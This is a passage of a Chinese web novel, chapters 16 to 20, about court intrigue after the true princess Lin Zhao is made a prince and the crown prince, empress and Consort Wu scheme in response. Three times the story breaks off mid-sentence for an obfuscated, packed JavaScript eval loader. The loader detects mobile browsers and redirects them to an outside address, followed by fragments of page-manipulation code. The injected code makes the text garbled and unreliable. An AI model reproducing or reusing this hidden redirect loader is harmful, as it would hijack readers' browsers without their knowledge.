他再次看向林明珠,“明珠妹妹,我觉得二妹说得对,你莫非忘记了,若无意外的话,你可就是这贱婢口中的‘泥腿子货色’呢!这样一个明着辱骂你的人,你竟然还要替她求情?明珠妹妹,孤可记得,你以前可没有如此豁达啊?” 林明珠这些日子本就过得忐忑,如今先是被林昭点明了自己假公主的身份,现在又被太子在这众目睽睽之下,再次点出自己乡野出声的事实,她自穿过来之后过得就是金尊玉贵的日子,何时受过这等委屈,她嘴唇哆嗦着,想辩解,想否认,想说苏慧是自作主张,可“我……我……”了半天,却什么都说不出来。 毕竟,这件事到底怎么回事,她心里很清楚。最终只能使出最后手段,装作受不住,身子直接朝旁边一歪。这个手段还是她向武贵妃学的呢。要知道,武贵妃可就是凭着这柔弱似水的本事,爬上这贵妃之位的。 “明珠——”林璋见此,立马心有灵犀般扶住她,随即语气急迫的对太子道,“大哥何必咄咄逼人呢?明珠她年纪小,心性单纯,一时被这贱婢蒙蔽也是有的!她之所以会求情,不过是心有不忍罢了,这又有何错?” 短短一句话的功夫,便再次扭转了对他们不利的局面,又一次立于道德高位。 林昭简直要叹为观止,谁说古人蠢的,她高低第一个不答应。尤其是这种从小长在皇宫,浸淫在权势中的天潢贵胄,满身都是心眼子。若非林明珠有主角光环,再加上她时不时搞出一些发明来,就凭她这般的战斗力,怕是早被这皇宫里的人给吞了。 真说起来,原主第三世记忆里那半囚禁式的公主生活,反而像是对她的一种保护。 就在林昭冷眼看戏的时候,一个声音突然在她身旁幽幽响起,“你很开心!” 17.第 17 章 林昭眸光一凝,扭头倏然看去,发现出声的竟是那个惯爱僵硬着脸的贤王林琏。不愧是书里面最终弑兄登位的人,心思不是一般的深。别人都在关注太子荣王两人之间的争锋相对,他倒好,竟将目光锁定了她。 眼看着其他人的目光都开始聚焦在自己身上,此刻再否认已没有了意义。 林昭唇角直接牵起一抹悲愤的笑容,“是啊,我很开心。”说着,声音也刻意染上了悲凉,“三哥明明是我的亲兄长,却帮助那个占了我十几年位置的假货,如今他吃瘪,我如何能不开心。” 太子本都已经被荣王那站在道德高位的指责,弄得心里不悦了,没想到一直不言不语的林昭突然说话,还将情形再一次扭转了过来。他打量得看了她一眼,发现她眼底的确闪烁着几抹喜悦,立时便笑了起来。 他刚刚那般针对荣王,自然也有试探林昭的意思,一来,他想知道这个妹妹性情如何;二来,也想看看她是否会为林璋说话,毕竟,作为武贵妃的亲女,她和林璋天然是同一个利益团体的。 若是个聪明一点的人,看到自己如此逼迫林璋,早应该上前解围了。 没想到,她倒好,不仅不解围,反而明目张胆的表露出了自己的快意。 武贵妃可不是个好性子,最是睚眦必报,且最疼爱的就是林璋。 如今他这个二妹如此肆意妄为,仅仅是因为三弟帮助林明珠,便心生不甘怨恨,以后怕是休想得到武贵妃庇佑了。果然是出身乡野的人,竟如此感情用事,天然的势力都不知道笼络,不是一般的愚蠢! 果然,什么天兆女帝,压根就是个乡野蠢妇,压根不足为虑。 想到这里,太子顿时满意了,不过这也不妨碍他以此再踩林璋一脚,将两人之间的隔阂加深。 他直接扭头,好整以暇的看向这个三弟,“三弟,你看看你,明珠虽然和你一起长大,但毕竟不再是我们的亲妹妹,二妹才是我们的亲妹妹。你怎能因为明珠,委屈二妹呢!如今,二妹都对你心生怨气了。我就不同——” 说着,也不等林璋反驳,他脸一沉,便直接吩咐道,“来人,贱婢阿慧口无遮拦,辱及皇室,拖下去,杖毙!”他话一说完,几个内侍就按住了早已被这阵仗吓得瘫在地上的阿慧,将她的嘴堵住,直接拖了下去。 待内侍们将阿慧拖下去后,他沉下去的脸又立时一收,胖胖的脸上再次浮上笑容,看向林昭问道,“二妹,这样判决,你可满意?” 如此重要拼演技的时刻,林昭自然不能拖后腿,她悲愤的神色一收,眼睛立马浮上恰到好处的感激,看向太子俯身一礼道,“多谢大哥为我张目。” 太子虚扶了一下林昭,“二妹快起,你是孤的亲妹妹,孤不为你张目为谁张目?”说完,太子还看了林璋一眼。 果然,看到林璋的脸黑了,差点没维持住他那份风流气度。看到这里,太子林瑚脸上的笑容愈发真切了几分,继续对林昭说道,“二妹不必忧心,有孤在,无人敢欺负你。若有什么事,可直接派人报与孤。今日你也受惊了,且回宫好生安歇。” 说完,太子便不再停留,带着林琮转身离去了,步履悠然而从容,显然对自己得到的结果非常满意。 而太子一走,贤王林琏也没再多停留,转身也从另一条道离去,从始至终就只说了那么一句话,脸上表情也丝毫没变,彷佛只是不经意间停留在这里,小小的看了一场戏而已。 至于荣王林璋,早在太子转身的那一刻,就铁青着脸剜了林昭一眼,那一眼饱含压抑不住的怒火和说不出的厌恶,随即便抱着林明珠步履匆匆得走了,甚至走得比贤王还快。 不过几个呼吸的瞬间,方才还剑拔弩张的惊鸿轩,便骤然空寂了下来,只剩下林昭和她身后屏气凝息的青衣等人。 林昭直接收起了脸上的感激神情,漠然得注视着几人离去的背影,随即缓缓移步,目光投向轩前那汪碧水,碧水中鱼儿无知无觉,依然摇晃着尾巴在水草间欢快的嬉戏,搅碎一池碧光。 “看着有点好吃啊!”林昭忍不住嘀咕一声道。 天光倒影犹如一块镜子,照见了她那双平静无波却又深沉如渊的眸子。 身后的青衣等人看着这一幕,想到刚刚被压下去的阿慧,一个个噤若寒蝉,连呼吸都恨不得塞到喉咙里,哪里敢有半分催促? 很快,惊鸿轩里面发生的事情,就被人汇报给了武德帝知道。 如果林昭在这里的话,一定会惊讶的发现,这个汇报的内侍正是当时跟在女官青衣后面的内侍之一。内侍不仅事无巨细的将轩内的事情讲述了出来,就连谁说了什么话做了什么表情,都一一做了复述,直接将这一场争锋呈现在了武德帝面前。 武德帝斜倚在踏上,指尖漫不经心的摩挲着,对前面内侍的讲述几人争锋的内容,似乎都不太感兴趣,也没有说话,反倒在内侍讲述到最后时,突然问了一句,“你是说,我那个女儿,在所有人都走后,还坐在水池边看了好一会鱼,甚至盯着那鱼嘀咕了一句,看着很好吃的样子?” 内侍跪在地上,不明白武德帝为何会抓住这样一件事问,但还是恭敬回禀道,“是的,陛下!” 武德帝得到了答案,挥手让内侍下去,随即看向张永,“看来,朕还是小瞧我们的昭王,看看她,丝毫就没把太子几人放在眼里呢,不仅应付起来游刃有余,应付完之后竟然还有心情惦记吃鱼!” 张永此刻早已知晓武德帝对林昭的重视,此刻自然奉承道,“殿下处变不惊,颇有陛下的风范呢。” “到底还年轻,一尾鱼都惦记。不过——”武德帝看了看乾安殿内昏黄的光线,突然那发出一声低沉而意味不明的轻笑,“作为她的父亲,怎么能不满足她的要求呢!不是想吃鱼吗?很快,她就能看见一堆鱼被炸出来了。” 很快,第三天,一封令所有人都意想不到的旨意,便炸响了整个洛京。 “朕承昊天之眷命,膺列圣之洪庥,统御万方,夙夜祗惧。惟天心幽渺,玄鉴昭彰;今有皇女林昭,应天承命,流离归宗,虽是女子,然天意煌煌,不可违逆;神贶殷殷,岂容推辞?今特顺应天命,册封其为昭王,享亲王俸禄,赐开府建牙之权。钦此!” 旨意读完的那一刻,林昭能够感受到,整个乾安殿有一瞬间的死寂,随即便是各种难以置信的惊呼声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16162936|179107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,骇然的抽气声以及压抑不住的议论声,如沉寂许久的火山般,轰然炸响。 “昭王?女子怎能封王,还承天之命,陛下这是....这是.....?”一人声音发颤般说道,最后的“糊涂”二字却久久不敢说出来。 “竟然还开府建牙,这——祖宗礼法何在?这是要乾坤颠倒,阴阳逆乱啊!”又一人悲愤道。 “陛下,我要见陛下,我要谏言!我要死谏——此例一开,国将不国啊!”这显然是一个头铁的御史发出的声音,声嘶力竭,捶胸顿足,只恨不能当场血溅五步。 随着议论声一起出现的,还有无数的审视打量的目光,如一道道锋利的光箭一样,聚集在林昭身上。作为接旨的人,林昭自然站在最前面,看不到这种情况。不过,虽然看不到,但那种如芒在背的感觉,她还是能够清晰感受到的。 林昭很清楚,这圣旨一出,有些人心里已经差不多想要生吞活剥她了。 她不着痕迹得看上首空空如也的御座一眼,没看到武德帝早已预料这种状况,选择了早早离开,早早得躲了吗?压根就没给人现场反驳的机会。林昭没有理会身后那近乎沸反盈天的声讨声浪,和几乎化为实质的目光审视,径自走上前,接过武德帝给自己的旨意。这可是她好不容易为自己争取到的东西,她怎么可能因为这样的一点反对就放弃? “谢陛下隆恩!”她神色平淡的谢恩。 随即问向张永,“张公公,不知孤的昭王府,坐落何处?” 张永如今对皇帝这个半路找回来的皇女,那真是见一次刮目一次。 他可是很清楚,武德帝选择在乾安殿趁着早朝完毕后,当着文武百官宣布这个旨意的目的。一句话说,就是当着文武百官的面,把这个女儿推到风口浪尖上,让她明白自己的要求有多离谱,趁早知难而退! 陛下收回旨意的诏书都写好了,就等着这位皇女受不了百官的审视去找他呢。可谁能想到呢,昭王听完旨意之后,非但没有退缩之意,甚至连百官们若有若无的谴责批判,都能视而不见听而不闻。甚至还有心情,跟自己打听王府的事。 这心态可真不是一般的好! 想到这里,他立马打起十二分精神,满脸恭维的笑道,“禀殿下,陛下早已为殿下准备好了王府,不仅已着人洒扫布置妥当了,还令林霄林中郎提前在王府驻扎布防了,就等着殿下直接入住呢。殿下若想移步,老奴就让王直带您去,他也是陛下指给殿下的舍人。” 他话音一落,一个年轻的内侍便走了出来,很显然就是张永口中的王直。 林昭也没拒绝,看了那内侍一眼,微微颔首道,“有劳了。” 随后,也不管殿内某些已经脸色铁青,嘴角几欲喷火的百官们,手捧着圣旨,转身缓步离开了乾安殿。这样的烂摊子,就留着下一次朝会,武德帝这位爹自己去收拾吧,她服下的长寿丸虽然可以修补根基,但需要时间,林昭也乐得安安稳稳做一个得利者,等待她准备好的出场时间的到来。 就是不知道,那天惊鸿轩内志得意满离开的太子林瑚以及其他几人,此刻听闻这“昭王”册封,会是何等精彩纷呈表情? 18.第 18 章 林昭不知道的是,因为武德帝离朝的时候,特意带走了太子等人,所以,他们反而并没有第一时间知晓这件事。最先知晓这件事的,是时刻关注朝堂动向的宋皇后。 此事一出,她第一时间,就把刚从乾安殿出来的太子,传唤到了未央殿。 “前几天你说,那林昭压根不足为虑?” 西雍宫,未央殿内,一个梳着繁复的高髻,头插金簪花钿,身穿红色交领大袖衫的中年女子——即当朝皇后宋氏,正靠坐在临窗的塌上,一边小心的摆弄着手里的香炉,一边问向太子林瑚。 太子林瑚因为并不知晓旨意的事情,听到宋皇后如此问,还以为她想知道他为何对林昭有此评价呢。 微胖的脸上闪过一抹毫不掩饰的蔑视,因为整个殿内除了宋皇后再没有了其他人,林瑚也不再继续掩饰自己的真性情,傲慢神色尽显,说出的话语中更满是对林昭的嘲弄和贬低。 “何止不足为虑,完全是愚蠢至极。本就孤立无援,只是个半路回来的公主,若非有天兆的出现,怕是这辈子都不可能来到这宫里。来了这宫里不安分守己就算了,竟然一回来就对上林明珠,后面更是直接落了林璋的面子。 性情偏激得很,怕是还在纠结自己失去的十几年公主生活呢。终究是乡野女子,见识短浅,丝毫没有大局观。孤帮她惩处那婢女时,竟也丝毫不觉有问题,还对孤一脸感激的模样。 殊不知,此时此刻,武贵妃一系怕是恨死她了。” 宋皇后一听就知道太子尚还蒙在鼓里,她放下香炉,目光看向太子林瑚,忍不住道,“此人看着如此不堪?你就一点都没有怀疑过。”说着,她看向窗外,二月已接近尾声,窗外的石榴树已经开始出现萌芽,多了许多崭新的嫩包。“那可是天兆预言的女帝,那天天空裂开的场景,你我可是看得清清楚楚,绝不可能是造假。” 林瑚傲慢的神色微微收敛了些,“阿娘你觉得,她是故意的.....?” “也不一定是她的原因。”宋皇后轻轻启唇道,随即神色凛然地看了林瑚一眼,“瑚儿,你应该很清楚,这些年你父亲对你我的忌惮。” 林瑚脸上的神色一滞,他当然知道父亲忌惮他,更准确来说是忌惮他背后的势力。每每想到这件事,他心里便格外悲愤。明明,小的时候父亲也曾对他慈爱过,结果长大之后两人之间反而只能互相提防,比陌生人还不如。 “您的意思是,父亲动了手脚?” 宋皇后并没有立马回答这个问题,而是再次看向窗外,一只鸟儿飞到了石榴树上,但很快就因为没有嫩叶吃飞走了。宋皇后直接将案几上的一块糕点碾碎,一点点的撒了出去。相比于太子林瑚对武德帝的复杂情绪,世家女出身的宋皇后,比任何人都清楚这个世界的因利而聚,因利而散的本质。武德帝跟她眼前的这些鸟儿,也没有多大区别。 “那天兆只说了一个名字,至始至终,你我都不清楚,那林昭到底长什么模样!而且,你觉得,一个真正的乡野女子,真的能丝毫不惧的对上林明珠吗?甚至,她还抓住了林明珠那个侍女话里面的漏洞。” 林瑚立马反应过来,“所以,父亲有可能找了假的出来。”但很快,他的脸上便再次露出了不解,“可为什么?父亲这样做对他又有什么好处呢?难道仅仅是为了吸引我们的视线?莫非他还真的打算立个女子不成?” “为什么?”宋皇后将手中一整块糕点扔了出去,原本各自吃着的鸟儿瞬间举起尖喙利爪,争抢了起来,“自然是为了让我们自乱阵脚。你说,你作为一个太子,突然面对一个预言中的未来女帝,你会做什么?” 林瑚脸色骤然阴鸷,眼中杀机毕露,几乎是咬牙切齿道,“孤自然会.....杀了她。” “杀!”宋皇后冷笑,带着洞悉一切的嘲弄,“可如果你父亲就等着你动作呢!”说着,她缓缓扭头,直视着眼前的这个儿子,冷然道,“届时,你一动手,他便可以抓住你这个太子‘残害亲妹’‘悖逆人伦’的把柄,岂不是刚好可以名正言顺的废了你?” “父亲他——”林瑚本能得想要反驳,说父亲不至于这样狠绝,可只要想到这些年父亲每每看自己便愈发冷的眼神,他又哑然了。说到底,以武德帝如今对他的忌惮,这并不是没有这个可能性。 但林瑚还是不太想相信这事,他忍不住说道,“可目前一切还只是阿娘的猜测。” “不是猜测!”宋皇后停下了喂鸟的动作,捡起旁边的一张绣帕,擦了擦手,随即道,“你父亲这个人,我了解得很,可不是什么慈父,做任何事情都必然有其目的。他费尽心机瞒着我们将人找出来,如今更是安排进宫,肯定不会没有任何图谋。”说着,她这才缓慢的将林昭封王的消息,说了出来,“你怕是还不知道吧,你父亲已经给她封了王爵,昭王。” “什么!”太子彻底震惊了,他抬头看向宋皇后,胖胖的脸上全然是不可置信的表情,“阿娘,这是真的吗?这怎么可能——父亲是疯了吗?一个女子竟然封王,莫非他还真信了那个狗屁天兆所言不成?不行,我——” 他扭头就走,打算去找武德帝,跟他好好说一说。 宋皇后一看太子的神情,就知道他想做什么,她直接喊住了他,“回来——” “阿娘!”太子脸上浮现出不耐,“你阻拦我做什么?莫非,孤还不能去找父亲问一问?” 宋皇后没有多言,只问了他一句话,“忘记了我们刚刚说的话了?而且——”她停顿了片刻,随即一字一句道,“你以为这就已经结束了?这还只是开始呢,你只需睁大眼睛,就能看到你父亲会怎么做,接下来他肯定会不断给那林昭加码——加恩宠,加权势,加地位,将其一步步捧上风口浪尖。太子,那就是你父亲的一枚棋子,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16174943|179107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枚对付你我的棋子。” 林瑚浑身一震,如遭雷击,知晓宋皇后说的是对的。 只是,林瑚看向窗外再没有鸟儿停留的枝丫,他的父亲武德帝真的会这样做吗?随即又看向面前宋皇后那张依旧雍容、却写满权力算计的脸。可阿娘呢,阿娘跟他说的这些,又何尝不是在利用自己,想让他偏向宋氏,从而巩固她宋氏的权柄。 太子,太子,他名义上是个太子,实质上不过是这场权力的角逐中,父亲和母亲两人争权夺利的棋子罢了。他的存在,他的需要,他的感受,又有谁在意过,阿娘真的在意过嘛?这个念头在林瑚的心中一闪而过,他却不敢细想,也不愿细想。 最后,他只能压下心中的惊涛骇浪,问向宋皇后,“难道孤就什么都不能做,只能任由这件事发生吗?” “就算你去说了又有何用?”宋皇后反问。 太子林瑚语塞,他很清楚,宋皇后的话是对的。天子一言九鼎,就算是错误的旨意,都不可能有收回的道理。更别说,武德帝今天如此打众人一个措手不及,就是为了避开群臣的说三道四。 纵然他是太子,纵然舅舅权势再盛大又如何,他还能真的否决一个帝王的旨意不成? 只是,他到底不甘心,不甘心自己不能亲自去问问武德帝。 “难道我们就真的什么都不能做了吗?任由这件事发生?若真按那天命,今天那林昭可以册封为昭王,明日岂不是坐上我这个太子的位置,后日岂不是要直接成为这西雍国的女帝?阿娘,儿子不服。” 只要一想到这个可能,他心中那股暴戾的情绪就难以抑制。为了这个太子之位,他付出了太多了,也失去了太多了,他绝不允许自己失去它。 宋皇后看了愤怒的太子林瑚一眼,脸上的神色却非常冷静,这样的风浪远还没达到能够让她色变的程度。她很清楚的知道,自己的对手至始至终都只有一个,武德帝。所以,宋皇后直接对他道, “不过一枚棋子而已,你就心乱了,瑚儿,你越这样反而越中了你父王的计。”说完,她再次补充道,“你不用担心,你舅父自会去劝说陛下的。你要知道,一个无法接触朝堂权力的人,就算有王爵又如何?不过是个虚衔而已。” 太子也很清楚,他舅舅一定不会眼睁睁看着这件事发生,哪怕那林昭真的获封王爵,舅舅也会让她名不副实。 只是,他还是不甘心,不甘心自己什么都不能做。 “阿娘,孤呢,孤就只能眼睁睁看着?” “你不需要做什么,只需要做个好兄长就行!”宋皇后直接说道,“多说多做多错!记住,你现在还只是太子。” 而不是皇帝!太子林瑚在心底暗暗补充了这句话。最后,他对着宋皇后深深一辑道, “阿娘,我明白了!” 随即挥了挥衣袖,快速地离开了未央殿。 19.第 19 章 相比而言,武贵妃的反应就激烈得多了,她直接狠狠地摔碎了自己最爱的一盏茶具,看到旁边的女官内侍们低着头也不敢看她,武贵妃也毫无遮掩自己的意思,脸上的表情阴森恐怖极了。 过了好一会儿,她的怒火才稍微小了一点,对着身旁的一个内侍吩咐道, “去,把荣王叫来?” 那内侍慌忙退下,赶紧去找荣王。 武贵妃缓缓坐下,闭着眼,对着一地的碎片视而不见,任由宫人们收拾。 作为舞姬出身,却能生出一儿一女,儿子被封为荣王,曾经的女儿林明珠更是被誉为“洛京明珠”,武贵妃的野心和手段之高不言而喻。哪怕如今已经年老色衰,比不得新宠王昭仪,依仗着从前的情分和她惯常柔弱似水姿态,武贵妃依然地位稳固得很。 更何况,还有林明珠这张好牌。 作为母亲,日夜相处,武贵妃怎么可能察觉不到林明珠不是自己的女儿呢?就算小的时候不太明显,长大后两人几乎没有一处相似的容貌,也很快让武贵妃猜到了真相。不过,武贵妃并不在意,女儿真的还是假的,都没啥关系。 说到底,不过是个女儿而已。这女儿早已在乡下长了多年,又能给她带来什么,给她儿子带来什么?相反,林明珠能时不时拿出那等新奇之物,加重他们这一系在武德帝心目中的份量,岂是一个真女儿能比的? 更别说,林明珠还没脑子,自己说什么就什么,只要一点疼爱就能哄得她团团转,着实是一把好刀,甚至给她带来了北周国和秦王世子这些助力。 本来一切都好好的,可谁知出了一个天兆,便将这件事曝出去了,甚至还给她那女儿按上了一个“未来女帝”的名头。 想到这里,武贵妃眼底便闪过怨毒之色,她本就对这个真女儿没啥感情,听到这里更不喜了。在她看来,这西雍国未来的帝位,必须是她儿子林璋的。那个在泥巴里滚了十几年的贱丫头,凭什么?她有什么资格?她怎么敢?! 所以,林明珠给林昭下马威,武贵妃哪怕提前就知道了,也没有阻拦的意思。 她巴不得那个“真女儿”认清现状,好为她所用,届时,她倒不介意给那么几分宠爱。 结果,让她没想到的是,下马威没成功,还把林明珠最贴身的宫女给折了进去。最让武贵妃愤怒的是,这女儿竟然还敢质问她的儿子,甚至当场利用太子给她儿子难堪。 “好!好得很!”当时,听到儿子说这件事后,武贵妃当场就决定,任这个女儿在皇宫自生自灭。 她倒要看看,没有她的庇佑,一个乡野长大没有一点势力,还顶着着那样一个天兆的公主,能在皇宫活多久?真当宋皇后太子等人是善男善女不成?等着吧,不出几个月,她就得死,甚至还可能死得悄无声息。 可万万没想到,她等来的不是林昭的死讯,反而是册封为昭王的旨意。 武贵妃听到这个消息立时就只觉脑子嗡嗡,接着便是火冒三丈。 她不明白武德帝想干嘛,那不过是个女子,竟然还给她封王,难道真要按照那天兆所言,立她为帝不成?与此同时,心中也不是没有后悔,如果把这个女儿笼络住了,这件事里面她和她儿子岂不是也能得利? 突然,殿外一阵脚步声传来,随即身穿宽袖大袍的荣王林璋就走了进来。相比太子林瑚去见宋皇后时的一无所知,林璋此刻显然已经知晓了林昭被封王这一件事,脸上带着明显的不渝。 “阿娘。”他对着武贵妃一礼道。 武贵妃看向自己最爱的儿子,眼神忍不住慈爱起来,随即便语气愤怒道,“璋儿,那贱人的事情,你知道了?” “阿娘,那是你的女儿,我的亲妹妹。”林璋纠正道。 他这样说,当然不是对林昭有什么手足之情,只是这件事能够给予他足够的利益。 对于林昭封王这件事,他自然心中很不爽。他作为皇子,也是到了十五岁也就是今年,才因为将要成婚封为荣王的。可林昭呢,今年不过13岁,不过出现个天兆,就被特封。他心中怎么可能没有芥蒂呢? 可没办法,现在西雍国已经长大的三个皇子中,就他的实力最弱,他背后虽然有个武家,但谁都知道,武家和武贵妃联合不过是皇帝的意思,武家背后真正的主人依然是皇帝,对他这个荣王不过客气有余亲近不足。至于他即将要联姻的右仆射李元李家,那更是天子的心腹,对他也基本爱答不理。 而且,父亲只有6年寿命了,他没有时间再等待了。他必须抓住一切机会,增添自己这一边的实力。 而如今,突然受父亲宠爱的林昭,显然是个不错的助力。 想到这里,林璋直接对武贵妃道,“阿娘,我知道你一时之间还没习惯二妹妹的存在,但二妹妹毕竟是你的亲生女儿,十月怀胎所生,后来被调换也不是你的错,血缘关系是斩不断的,如今二妹妹被封为昭王,你应该高兴才是?” 武贵妃一时之间没有转变过来,很是不悦道,“璋儿,你在说什么?” “阿娘!”荣王自然知道武贵妃生气了,但他同样知道武贵妃是不可能跟他生多久的气的。哪怕是不喜欢不情愿,为了自己武贵妃最终也会屈服,所以内心丝毫不慌,“是我们想错了,二妹妹流落在外十几年,受尽苦楚。如今回来了,自然要好好补偿她。父亲显然是因为这个原因,对二妹妹宠爱非常,甚至给她封王了。” 至于天兆,他提都不提。不过,纵然林璋不提,两人内心也很清楚,这封王背后的真正原因。 “阿娘,我们想差了,你我都不应该跟二妹妹置气的。你是二妹妹的亲身母亲,我是二妹妹的亲兄长,这份关系是太子和其他人没法比的。我想,二妹妹内心肯定也是想要亲近你我的,只要你稍加慈爱一点,二妹妹说不定就愿意亲近你了呢?以她如今的恩宠,届时我们——” 武贵妃立马听懂了儿子的意思,她知道这是儿子让她向那个贱女示好呢,这让她觉得很不得劲,忍不住道,“璋儿,她可顶着那样一个天兆呢,你就真的一点都不介意?” 林璋眼神深邃了片刻又转瞬即逝,随即温和的笑道,“阿娘,不过一个真假不知的东西,何必介意?况且,届时皇位就在面前,阿娘难道会支持二妹妹,而不支持儿子吗?” “自然不可能!”武贵妃理所当然道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185047|179107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“这不就是了!”林璋微笑着继续加大码力,“阿娘,不管怎么说,二妹妹都是你的女儿,天然就是我们这一系的势力。与其把她推到太子等人手上,为何我们不自己抓在手上呢?或许还能带来不一样的意外之喜呢!” 武贵妃心动了,尽管心中对那个乡野丫头有万般不屑,但为了儿子的前程,她什么委屈都肯受。 她也很清楚,这个女儿如今的确有不少价值。“可那个贱女....”说到半路,武贵妃想到什么,又立马改了口,“你二妹妹可不一定会买你的账。”武贵妃脸色阴沉得说道,“我是她母亲,可你看看这几日,她可曾来我宫里过一次?” 听到这个,林璋反而一点都不担心,“放心吧,阿娘,你可是她的母亲,哪怕是为了遵循孝道,她也必须尊敬你。届时,你在把使在明珠这个蠢货身上的手段,放几分在二妹妹身上,不怕笼络不到她。” 突然,一阵宫女的喧哗声在外面响起,间或响起几声喊着“翁主”的行礼声。武贵妃一听就知道林明珠来了,她看了一眼此刻脸色有点僵硬的儿子,立时便转变了脸色,神色严肃得对林璋道,“不管怎么样,决不能亏待明珠,你明白吗?” 林璋立马接住了这个话头,彷佛刚刚说林明珠是蠢货的人不是自己一样,笑盈盈道,“放心,阿娘,我就是亏待自己,也不会亏待明珠。我你还不知道,从小到大哪一次不是让着明珠的。明珠是我妹妹,我护着她长大,就会护她一辈子。” 林明珠此刻心正忐忑呢。自己的公主身份是假的,真公主回来了。虽然武贵妃为她求了一个翁主的封号,但林明珠依然觉得整个洛京的权贵娘子们,暗地里都在蔑视自己。正因为如此,她才会冲动之下,听阿慧的建议搞出了个下马威。 结果,自己设的下马威,成了林昭立威的垫脚石,阿慧被杖毙,自己也名声扫地,成了洛京最大的笑柄!林明珠这几天都觉得浑身不得劲,连宇文墨都不想见了。 没想到还有更糟的,转眼真公主就封王了,跟皇子一个待遇,愈发衬得她这个曾经的“明珠公主”像个笑话。 巨大的落差和随时可能被抛弃的恐惧,让她几乎窒息,她迫切想要抓住一根浮木。 武贵妃便是林明珠想要找的浮木。她怀揣着十二万分的忐忑来到这里,就是想要试探一下武贵妃的态度。她实在是害怕,害怕武贵妃也开始嫌弃自己,甚至可能抛弃自己。 届时,她难道真的要回到乡野去做个农女? 不!不可以!这个世界的农女和那些种田流小说展现的完全不同,看看林昭的瘦弱身形,她就知道她那个亲身父母家有多苦。只要一想到自己可能会回到那样一个地方,终日劳作,还食不果腹,甚至还要嫁给一个同样的乡野农夫,林明珠就觉得浑身颤抖。 所以,走近武贵妃待客的暖阁时,听到里面传出自己的名字,便下意识的停住了脚步。 本以为,会听到武贵妃嫌弃自己,没想到却听到哥哥和母妃这样的一段对话,林明珠顿时就有点眼泪汪汪起来,像一只终于找到了庇护所的幼兽,快速冲进暖阁,伏在武贵妃的膝边哀哀的哭泣起来。 “阿娘——” 20.第 20 章 武贵妃既然早已知晓林明珠来了,自然早已做好了准备。 林明珠还没进来的时候,她的脸上便已经开始露出关怀的神情,如今看到林明珠情绪反应如此大,脸上自然露出了更加心疼的表情。她伸出手安抚般的摸了摸林明珠的头,语气柔和地关怀道,“明珠,怎么了,说出来,有阿娘和你哥哥在呢。” 林明珠摇头,泪水浸湿了武贵妃华贵的裙裾,“没什么,阿娘,就是突然......好感动。”说着,她抬头看向武贵妃,泪眼朦胧地哽咽道,”以前......从来没有人.........这样无条件爱着我,护着我。他们......他们都嫌弃我是个女子,觉得我没用,是给别人家养的赔钱货。我——”说着说着,林明珠突然意识到自己在说的是穿越前的事,立马闭了嘴巴,看了两人一眼。 武贵妃和林璋早就知道,林明珠可能记得前世了,只当没听见刚刚的话,只一味温柔地说道, “别怕,你有我们呢。” 林明珠果然很感动,再次忍不住道,“阿娘,兄长,幸好有你们,我实在是太幸运了!” 武贵妃没有说话,只一味的摸着林明珠,就跟摸她那费心养的宠物狸猫一样,带着一种漫不经心的敷衍。 可惜,伏在武贵妃膝盖上的林明珠完全看不见。 反倒是林璋一眼就看到了,但他也没说什么。从小就看到自己阿娘如何对待明珠,他也早就习惯将林明珠视为棋子了。想到棋子,他灵光一闪,突然想到一个好主意,或许刚好可以利用眼前的林明珠,去笼络那个刚回来的二妹妹呢。 虽然两人前几天才因为惊鸿轩事件,可能有了芥蒂。 但女子吗?通常都是感性的。 再加上明珠和二妹妹本就渊源颇深,当年那件事又不是明珠或者她家人故意为之,说到底还是那司马逆贼的祸,两人也都算是受害者了。再加上林明珠心思单纯,还总能博得人的喜爱,只要稍加引导,让她放下之前的芥蒂,主动去接近林昭,未必不能软化他那二妹妹。 越想,林璋越觉得这是个不错的主意,他立刻俯下身,脸上堆起十足的温柔兄长模样,先将一方帕子递到她手上,随即语气温和地安抚道,“明珠妹妹,你放心,你永远是阿娘最疼爱的女儿,也是我的妹妹。只是——” 林明珠伸手接过帕子,听到林璋前面的话还感动得稀里哗啦呢,结果猛然后面还接着一个“只是”,她心底咯噔一下,忍不住看向林璋问道,“兄长,只是什么?莫非——”莫非这个兄长打算送走她? “傻丫头,胡思乱想什么!”看到她突然出现的惶恐面容,林璋笑着打趣道,也没卖关子,他知道跟这个妹妹说话,就必须说明白来。所以直接道,“明珠,你也知道,兄长势弱,父亲赐婚的李家,也不是什么顶级世家。这些年为了在父亲面前能说上几句话,兄长已经废了心思,我——” 听到林璋不是驱逐自己,林明珠心底暗暗松了一口气。 